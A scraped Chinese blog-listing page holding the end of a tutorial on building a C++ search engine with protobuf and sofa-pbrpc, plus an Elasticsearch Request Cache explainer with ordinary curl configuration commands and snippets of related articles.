    的特点,非常适合我们来对数据的管理,即对信息的传输,很好的满足了我们的需求,还有一个重要的特点,这个protobuf是C++实现的,我们这个项目也是一个C++项目,也就不存在什么兼容性的问题了。

    关于protobuf来构建索引的核心结构,可以参考:利用 Google Protobuf 构建索引核心结构


    2. 索引模块的构建

      bool Index::Build(const std::string& input_path)
       {
         // 1.按读取文件内容,针对每一行的数据进行处理
         //   构建正排索引,同时根据 DocInfo 构建倒排索引,最后将倒排拉链排序
         std::ifstream file(input_path);//打开数据文件
    
         //进行检查
         CHECK(file.is_open()) << "input_path:" << input_path;
    
         std::string line;
    
         while(std::getline(file, line))//读取一行信息
         {
           //2. 将这一行数据做成一个DocInfo
           const DocInfo* doc_info =BuildForward(line);//构建正排
    
           CHECK(doc_info != NULL);
    
           //3. 更新倒排拉链
           BuildInverted(*doc_info);//构建倒排
         }
    
         //4. 对倒排结果中的数据进行排序
         SortInverted();
    
         file.close();
    
         return true;
       }
    

    读取所有要构成索引的数据,我们这里的数据是经过处理的,每一行每一条索引信息,包括了网页url,网站标题,网站正文

    构建的过程,每次从文件中读取一行的信息,将这一行构成一个正排索引的结点,并利用cppjieba分词工具对标题和正文内容进行分词操作,得到一个一个分词结果,这里分词使用记录开始位置和结束位置以左闭又开的区间方式存储,方便之后添加倒排索引。

    一个正排索引结点构成,且分词完成,接着我们开始更新倒排索引,以该正排索引的信息作为基础,处理标题和正文的分词结果,综合统计有那些词出现,分别出现了多少次,做成一个map结构方便查找,得到了所有关键词,将其和文件id一起插入倒排索引即可。

    当数据统计后,并且所有的倒排结果更新完成后,需要对倒排索引的中数据进行排序,为了更好的满足用户需求,我们必须将与关键字匹配度最高的数据放到最前面。

    排序完成后我们索引结构也就构造好了,接下来我们只需把结果写入一个文件保存下来。


    3. 索引模块的加载

          bool Index::Load(const std::string& index_path)
          {
    
            std::string proto_data;
    
           //读取磁盘上的索引结构
            CHECK(common::FileUtil::Read(index_path, &proto_data));
    
            //经反序列化进行数据的加载
            CHECK(ConverFromProto(proto_data));
    
            return true;
          }

    从由构建函数保存下来的文件中,读取整个索引结构放到字符串中,由于该字符串是经过序列化的,因此我们要进行反序列化,并反序列化的结果放进我们所定义好的结构体中,完成将索引数据从磁盘到内存的读取。

    4. 搜索服务器端的实现

    搜索服务器采用的是RPC协议,我们这里利用百度提供的开源RPC框架 sofa-pbrpc,很方便的就能完成服务器的构建。

    sofa-pbrpc也是基于protobuf所完成的,因此我们同样需要构建protobuf文件,我们需要编写一个以.proto为扩展名的文件内容如下:

    syntax="proto2";
    
    package doc_server_proto;
    
    option cc_generic_services= true;
    
    //------------  Request  ---------------------
    message Request
    {
      required uint64 sid = 1;
      required string query = 2;
    };
    
    
    //------------  Response  ---------------------
    
    message  Item
    {
      required string title = 1; 
      required string desc  = 2;
      required string show_url = 3;
      required string jump_url = 4;
    };
    
    message Response
    {
      required uint64 sid = 1;
      repeated Item item = 2;
    };
    
    
    //------------  service  ---------------------
    service DocServerAPI
    {
      rpc Search(Request) returns (Response);
    };
    

    内容很简单,分为请求结构,响应结构,和服务函数三部分,服务函数的结构是固定的,这个服务函数最终分成两个部分,一个在服务器端重写,另外一个在客户端使用。

    服务器端的代码如下:

    int main(int argc, char* argv[]) 
    {
      base::InitApp(argc, argv); 
      using namespace sofa::pbrpc;
    
      std::cout<<"------------------   Index Load\n";
    
      // 0. 索引模块的加载和初始化  
      doc_index::Index* index = doc_index::Index::Instance();
      CHECK(index->Load(fLS::FLAGS_index_path));
      LOG(INFO) << "Index Load Done"; 
    
      std::cout<<"------------------   Index Load Done\n";
    
      //1.定义一个操作对象
      RpcServerOptions option;
      option.work_thread_num = 4;
    
      //2. 用这option构建一个RpcServer对象
      RpcServer server(option);
      server.Start("0.0.0.0:" + fLS::FLAGS_port);
    
      //3. 定义一个函数对象,并注册到Rpcserver对象中
      doc_server::DocServerAPIImpl* service_impl 
        = new doc_server::DocServerAPIImpl();
      server.RegisterService(service_impl);
    
      std::cout<<"服务器已启动...\n";
    
      //4. 让RpcServer对象开始执行
      server.Run();
    
      LOG(INFO) << "server start";
      return 0;
    }
    

    总体来说,服务器端所要做的就是将索引模块加载进来,完成RPC服务端的配置,等待RPC客户端的访问

    关于RPC服务端的配置,借用sofa-pbrpc框架完成,首先定义一个操作类,来设置相关的操作,如线程的个数,利用这个操作对象构建一个RPC服务对象,绑定好ip地址和端口号,定义一个函数对象的指针,然后注册到服务器对象中,让服务器运行起来即可。

    在服务器端一个重要的操作就是用继承从proto文件中编写的服务类,并且要重写那个服务函数,而这个重写的函数就是我们整个服务器真正要执行操作:

    //从doc_server_protr中继承过来
    class DocServerAPIImpl : public doc_server_proto::DocServerAPI {
    public:
      // 此函数是真正在服务器端完成计算的函数,需要对该rpc函数进行重写
      void Search(::google::protobuf::RpcController* controller,
             const Request* req,
             Response* resp,
             ::google::protobuf::Closure* done) 
      {
        //搜索核心算法
       doc_server::DocSearcher searcher; 
       searcher.Search(*req, resp);
    
        // 到这行代码表示服务器对这次请求的计算就完成了.
        // 由于 RPC 框架一般都是在服务器端异步完成计算,
        // 所以就需要由被调用的函数来通知调用者我计算完了.
        done->Run();
      }
    };

    关于服务器的计算过程,具体过程实现如下:

    // 这个类是完成搜索的核心类
    class DocSearcher {
    public:
      // 搜索流程的入口函数
      bool Search(const Request& req, Response* resp);
    
    private:
      // 对查询词进行分词
      bool CutQuery(Context* context);
      // 根据查询词结果进行触发
      bool Retrieve(Context* context);
      // 根据触发的结果进行排序
      bool Rank(Context* context);
      // 根据排序的结构拼装成响应
      bool PackageResponse(Context* context);
      // 打印请求日志
      bool Log(Context* context);
      // 排序需要的比较函数
      static bool CmpWeightPtr(const DocListNode* w1, const DocListNode* w2);
      // 生成描述信息
      std::string GenDesc(int first_pos, const std::string& content);
      // 替换 html 中的转义字符
      void ReplaceEscape(std::string* desc);
    };
    

    5. 搜索客户端的实现

      //此函数为客户端请求服务区的入口函数
      void CallServer()
      {
        Request req;
        Response resp;
    
        //1. 构造响应
        PackageRequset(&req);
    
        //2. 从服务器获取到相应并解析
        Search(req, &resp);
    
        //3. 解析响应吧结果输出出来
        ParseResponse(resp);
    
        return;
      }

    客户端主要分三步,第一步构造响应,为了获取query_string,并且生成一个相应的请求,第二部,根据请求调用相应的RPC函数,来访问搜索客户端,得到响应;第三步,将响应根据html模板包装成http响应,传回http服务器,搜索过程也就完成了


    四. 总结

    本项目主要针对外部库的使用,包括数据的存放,传输,RPC框架的调用等等,虽然使用的并不是很熟练,但是还是完整的实现了搜索服务器这个项目!

    对于项目源码,大家可以访问:github链接

    展开全文
  • Elasticsearch搜索引擎之缓存Request Cache: Request Cache 在每个分片上缓存了本地结果集,这使得频繁使用的搜索请求几乎立即返回结果。默认情况下只会缓存查询中参数 size=0 的搜索请求的结果,因此将不会缓存...

    1、什么是 request cache:

    Request Cache,全称是 Shard Request Cache,即分片级请求缓存。当对一个或多个索引发送搜索请求时,搜索请求首先会发送到ES集群中的某个节点,称之为协调节点;协调节点会把该搜索请求分发给其他节点并在相应分片上执行搜索操作,我们把分片上的执行结果称为“本地结果集”,之后,分片再将执行结果返回给协调节点;协调节点获得所有分片的本地结果集之后,合并成最终的结果并返回给客户端。

    By default, the requests cache will only cache the results of search requests where size=0, so it will not cache hits, but it will cache hits.total, aggregations, and suggestions.Most queries that use now (see Date Mathedit) cannot be cached.

    Request Cache 在每个分片上缓存了本地结果集,这使得频繁使用的搜索请求几乎立即返回结果。默认情况下只会缓存查询中参数 size=0 的搜索请求的结果,因此将不会缓存hits,但会缓存 hits.total,aggregations(聚合) 和 suggestions。所以,request cache 分片请求缓存非常适合日志用例场景,在这种情况下,数据不会在旧索引上更新,并且可以将常规聚合保留在高速缓存中以供重用。

    2、request cache 缓存的失效:

    ES 能够保证在使用与不使用 Request Cache 情况下的搜索结果一致,那 ES 是如何保证的呢?这就要通过 Request Cache 的失效机制来了解啦。

    Request Cache 缓存失效是自动的,当索引 refresh 时就会失效,也就是说在默认情况下, Request Cache 是每1秒钟失效一次,但需要注意的是,只有在分片的数据实际上发生了变化时,刷新分片缓存才会失效。也就是说当一个文档被索引 到 该文档变成Searchable的这段时间内,不管是否有请求命中缓存该文档都不会被返回。

    所以我们可以通过 index.refresh_interval 参数来设置 refresh 的刷新时间间隔,刷新间隔越长,缓存的数据越多,当缓存不够的时候,将使用LRU最近最少使用策略删除数据。

    当然,我们也可以手动设置参数 indices.request.cache.expire 指定失效时间(单位为分钟),但是基本上我们没必要去这样做,因为缓存在每次索引 refresh 时都会自动失效。

    最后,我们也可以通过 API 手动清除 Request Cache,使用方式如下:

    curl -XPOST '索引的IP:端口/索引名/_cache/clear?request_cache=true'

    3、request cache 的使用与设置:

    3.1、request cache 的使用:

    默认情况下,Request Cache 是关闭的,我们可以在创建新的索引时启用,例如:

    curl -XPUT 服务器IP:端口/索引名 -d
    '{
      "settings": {
        "index.requests.cache.enable": true
      }
    }'

    也可以通过动态参数配置来进行设置:

    curl -XPUT 服务器IP:端口/索引名/_settings -d 
    '{ 
        "index.requests.cache.enable": true 
    }'

    开启缓存后,需要在搜索请求中加上 request_cache=true 参数,才能使查询请求被缓存,比如:

    curl -XGET '服务器IP:端口/索引名/_search?request_cache=true&pretty' -H 'Content-Type: application/json' -d
    '{
      "size": 0,
      "aggs": {
        "popular_colors": {
          "terms": {
            "field": "colors"
          }
        }
      }
    }'

    两个注意事项:

    (1)第一:参数 size:0 必须强制指定才能被缓存,否则请求是不会缓存的,即使手动的设置request_cache=true

    (2)第二:在使用 script 脚本执行查询时,由于脚本的执行结果是不确定的(比如使用 random 函数或使用了当前时间作为参数),一定要指定 request_cache=false 禁用 Request Cache 缓存。

    3.2、request cache 的设置:

    Request Cache 作用域为 Node,在 Node 中的 Shard 共享这个Cache空间。默认最大大小为 JVM堆内存的1%。可以使用以下命令在 config / elasticsearch.yml 文件中进行更改:

    indices.requests.cache.size: 1%

    Request Cache 是以查询的整个DSL语句做为key的,所以如果要命中缓存,那么查询生成的DSL一定要一样,即使修改了一个字符或者条件顺序,都不能利用缓存,需要重新生成Cache。

    3.3、request cache 大小的查看方式:

    GET /_stats/request_cache?human

    GET /_nodes/stats/indices/request_cache?human

     

    参考文章:https://blog.csdn.net/chennanymy/article/details/52504386

    展开全文
  • 搜索引擎实验报告

    千次阅读 2019-12-12 13:56:18
    搜索引擎是指根据一定的策略、运用特定的计算机程序从互联网上采集信息,在信息进行组织和处理后,为用户提供检索服务,将检索的相关信息展示给用户的系统。 网络中用于各种功能的搜索引擎非常多,在求职,找工作...
  • 动网论坛作搜索引擎优化

    千次阅读 2005-03-26 10:42:00
    作者:david本文地址:...动网论坛采用javascript+模版的方式显示页面,服务器将没有深加工的数据和js代码一起发送到客户端解析,减轻了服务器负担,但是搜索引擎一般不会解
  • 百度搜索引擎工作原理

    千次阅读 2019-02-19 11:56:14
    互联网信息爆发式增长,如何有效的获取并利用这些信息是搜索引擎工作中的首要环节。数据抓取系统作为整个搜索系统中的上游,主要负责互联网信息的搜集、保存、更新环节,它像蜘蛛一样在网络间爬来爬去,因此通常会被...
  • 2006-05-25网络蜘蛛及搜索引擎基本原理 TAG:搜索相关 <br />搜索引擎的工作原理大致可以分为:   搜集信息:搜索引擎的信息搜集基本都是自动的。搜索引擎利用称为网络蜘蛛(spider)的自动搜索...
  • 搜索引擎原理

    万次阅读 2005-09-18 21:34:00
    在浩如烟海的Internet上,特别是其... 一、搜索引擎的分类 获得网站网页资料,能够建立数据库并提供查询的系统,我们都可以把它叫做搜索引擎。按照工作原理的不同,可以把它们分为两个基本类别:全文搜索引擎(FullTex
  • 搜索引擎-网络爬虫

    千次阅读 2017-03-27 10:48:33
     通用搜索引擎的处理对象是互联网网页,目前网页数量以百亿计,搜索引擎的网络爬虫能够高效地将海量的网页数据传下载到本地,在本地 形成互联网网页的镜像备份。它是搜索引擎系统中很关键也很基础的构件。 1...
  • 搜索引擎和知识图谱那些事

    万次阅读 2017-09-15 17:41:25
    搜索引擎和知识图谱那些事 分类: 知识图谱(14) 版权声明:本文为博主原创文章,转载请注明CSDN博客源地址!共同学习,一起进步~ 目录(?)[+] 这是一篇基础性文章,主要介绍搜索引擎和知识图谱的一些原理...
  • 后端技术杂谈2:搜索引擎工作原理

    千次阅读 2018-07-10 22:58:02
    Max Grigorev最近写了一篇文章,题目是《What every software engineer should know about search》,这篇文章里指出了现在一些软件工程师的问题,他们认为开发一个搜索引擎功能就是搭建一个ElasticSearch集群,而...
  • 搜索引擎排名的作用及搜索引擎排名的商业价值 整理:Ackarlix Google搜索引擎排名牵动商机 Patrick Ahern很清楚Google的力量,少了它,生意还真不好作。 他所任职总裁的数据复原集团(Data Recovery Group)向来在...
  • 本章主要讲的是搜索引擎的优化,包括提高搜索效率(云存储、缓存机制)、提高搜索质量(网页去重、用户搜索意图识别、网页反作弊)及搜索的发展方向。这三个方面是在网页抓取&搜索排序的基础上发展起来的。
  • 搜索引擎研究

    千次阅读 2005-09-22 16:34:00
    http://www.wespoke.com/archives/cat_search_engine.php搜索引擎研究"Search Engine" archive搜索引擎的几则消息1:54 on Tuesday January 25, 2005 | 0 Trackbacks | 1 Comments 1。 google TV 和录像搜索 Google ...
  • ES为开发者提供了非常丰富的基于HTTP协议的Rest API,只需要向ES服务端发送简单的Rest请求,就可以实现非常强大的功能。本篇文章主要介绍ES中常用操作的...作为一个先进的搜索引擎,ES中提供了多种查询接口。本篇仅...
  • TCP发送数据流程详解

    千次阅读 2018-11-12 23:54:52
    TCP发送数据流程详解
  • 搜索引擎体系结构设计

    千次阅读 2011-06-07 13:55:00
    最近在做一个关于搜索引擎方面的项目,于是乎研究了一点关于搜索引擎方面的东西。我们的目标是做一个轻量级的搜索引擎,相对真正的商业搜索引擎来说还是较为简单的。 对于搜索引擎这样的项目来说,我觉得重点在于...
  • 首先,我想说的是电商搜索引擎和普通的搜索引擎有很大的差别,因为电商搜索引擎主要是...众所周知,标准的搜索引擎主要分成三个大的部分,第一步是爬虫系统,第二步是数据分析,第三步才是检索结果。首先,电商的搜索引
  • 搜索引擎的工作原理

    千次阅读 2006-09-06 22:17:00
    这篇文章中,我们介绍了google,它是一个大型的搜索引擎(of a large-scale search engine)的原型,搜索引擎在超文本中应用广泛。Google的设计能够高效地抓网页并建立索引,它的查询结果比其它现有系统都高明。这个...
  • 关于搜索引擎原理的详细解读

    千次阅读 2019-03-20 15:20:51
    搜索引擎,通常指的是收集了万维网上几千万到几十亿个网页并网页中的每一个词(即关键词)进行索引,建立索引数据库的全文搜索引擎。当用户查找某个关键词的时候,所有在页面内容中包含了该关键词的网页都将作为...
  • 开源企业搜索引擎SOLR的应用教程.pdf

    热门讨论 2013-10-11 09:54:05
    开源企业搜索引擎SOLR的应用教程, Apache Solr 是一个开源的搜索服务器,Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。定制 Solr 索引的实现方法很简单,用 POST 方法向 Solr 服务器发送一个描述...
  • 搜索引擎 研究

    万次阅读 2004-11-02 00:01:00
    搜索引擎 研究 为了网络营销,让网页“静”下来【摘要】:由于大量动态网页的存在,使得有些全动态网页的网站失去很多被用户发现的机会。如果无法全部用静态网页实现,应采用静动结合的基本方式,即能用静态网页解决...
  • 搜索引擎面面观

    千次阅读 2005-05-02 01:06:00
    搜索引擎面面观 技术系列之一因特网的迅猛发展、WEB信息的增加,用户要在信息海洋里查找信息,就像大海捞针一样,搜索引擎技术恰好解决了这一难题,它可以为用户提供信息检索服务。目前,搜索引擎技术正成为计算机...
  • google搜索引擎使用方法

    万次阅读 2014-03-06 12:39:45
    搜索引擎命令大全! 1、双引号 把搜索词放在双引号中,代表完全匹配搜索,也就是说搜索结果返回的页面包含双引号中出现的所有的词,连顺序也必须完全匹配。bd和Google 都支持这个指令。例如搜索: “seo方法图片”...
  • 分布式全文搜索引擎ElasticSearch

    千次阅读 2018-11-07 01:00:08
    虽然全文搜索领域,Lucene可以被认为是迄今为止最先进、性能最好的、功能最全的搜索引擎库。 但是,Lucene只是一个库。想要使用它,你必须使用Java来作为开发语言并将其直接集成到你的应用中,更糟糕的是,Lucene的...
  • 分布式搜索引擎的研究

    千次阅读 2008-08-04 15:40:00
    分布式搜索引擎的研究薛振华 杨艳娟(南京理工大学计算机科学与技术系,南京 210094) 摘 要 介绍分布式搜索引擎技术,将分布式搜索引擎技术与远程教育相结合。针对当前教育领域内的信息资源进行集中、分类、...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 107,585
精华内容 43,034
关键字:

对搜索引擎发送数据